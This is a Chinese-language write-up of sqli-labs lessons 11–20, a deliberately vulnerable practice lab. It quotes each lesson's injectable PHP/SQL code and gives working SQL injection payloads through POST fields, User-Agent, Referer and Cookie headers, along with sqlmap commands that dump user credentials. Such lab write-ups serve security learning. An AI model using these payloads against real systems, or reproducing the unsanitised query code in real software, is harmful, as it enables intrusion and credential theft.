Less11-20
作者:ch4nge
目录
sqli-labs(11)-Less11·post·U
手注
这道题给出来了一个登录框
源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
闭合:'
这里使用bp进行测试username=admin'
发现报错信息内容
注释一下试试username=admin'#
这时的sql查询语句
@$sql="SELECT username, password FROM users WHERE username='admin'#' and password='$passwd' LIMIT 0,1";
处理之后就是
SELECT username, password FROM users WHERE username='admin'
所以可以查到admin的用户名密码
后面就和前面union联合查询步骤一样了
Order by爆列数,3报错,2不报错,所以2
Union select 1,2查看显示位,(uname值为不存在的值)
在2位置查看数据库名
uname=1' union select 1,database()--+
后面和之前一样,最后查看users表中的字段值,这里在1位置显示uesrname,2位置显示password
uname=admim' union select group_concat(username),group_concat(password) from users--+
sqlmap
sqlmap -u "192.168.1.218/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=1&submit=Submit" --technique U --dbms mysql -D security -T users -C id,username,password --dump
–data用来指定post内容"uname=1&passwd=1&submit=Submit"
也可以burp抓包保存到txt,然后sqlmap -r xxx.txt
sqlmap -r less11.txt --dbms mysql --current-db
sqli-labs(12)-Less12·post·U
源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
闭合:")
解法同Less11
sqli-labs(13)-Less13·post·E
手注
源码:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
闭合:')
显错型注入,暴一下数据库名
uname=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
查用户名密码
uname=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username='admin'),0x7e),1)--+
sqlmap
sqlmap -u "192.168.1.218/sqli-labs-master/Less-13/" --data "uname=1&passwd=1&submit=Submit" --technique E --dbms mysql --current-db
sqli-labs(14)-Less 14·post·E
代码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
闭合:"
uname=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
后面同Less13
sqli-labs(15)-Less15·post·B
代码
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
闭合:'
布尔型注入
uname=1' or length(database())>=1--+
sqli-labs(16)-Less16·post·B
代码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
闭合:")
同Less15
uname=1") or length(database())>=8--+
sqli-labs(17)-Less 17·post·E
基于错误的更新查询POST注入
题目环境修改密码的功能页面
经过测试uname不能注入,注入点在passwd
代码
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
ps:check_input函数暂时不知道怎么绕,只好搞没过虑的passwd参数了
后面操作就没什么说的了
sqli-labs(18)-Less 18·UA·E
UA注入
解法1
先使用账户登录
页面回显内容有ip和UA
试试UA注入(登录框没有注入点)
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
在insert语句中有uagent,在这里不能使用注释符进行注释(注释掉语句不完整,语法错误),而是要和sql语句起到拼接的作用
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
尝试注入判断语句发现没有回显数据库信息User-Agent: 1' or '1'='1
尝试使用报错注入可以回显
使用报错型注入
User-Agent: 123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
解法2
绕过姿势:User-Agent: 1',1,1)#
User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1))
这么写的原因可以从源码来看
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
将值放进去
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,updatexml(1,concat(0x3a,database(),0x3a),1))#', '$IP', $uname)";
相当于这样
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,updatexml(1,concat(0x3a,database(),0x3a),1))
insert插入的值与字段名要一一对应。
sqlmap
python sqlmap.py -r 1.txt --dbs --threads 10 --technique E
python sqlmap.py -u "http://192.168.1.218/sqli-labs-master/Less-18/" --level 4 --dbs --threads 10 --technique E
第一个请求保存到txt文件里面-r跟上txt文件的路径,让sqlmap自动跑,注意user-agent后面要跟上”*“符号
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0*
-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息
lever>=3才会去检查user-agent头是否存在注入漏洞
sqli-labs(19)-Less19·referer·E
Referer注入
代码:
$uagent = $_SERVER['HTTP_REFERER'];
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
登录框有过滤,referer没有过滤
闭合:‘ or () or ‘
Referer: http://192.168.1.218/sqli-labs-master/Less-19/' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
或者
Referer: http://192.168.1.218/sqli-labs-master/Less-19/' or updatexml(1,concat(0x7e,(select database()),0x7e),1))#
sqli-labs(20)-Less 20·cookie·E
闭合:'
登录账号显示
Cookie值为用户名,存在注入点
刷新一下抓包
Cookie位置注入
Cookie: uname=dhakkan' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
代码分析:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
登录框有过滤
再往下看发现cookee没有过滤,搞他!
sqlmap
在cookie后面加*号,保存到文件
右键选择copy to file
sqlmap -r less20.txt --level 3 --dbms mysql -technique E --current-db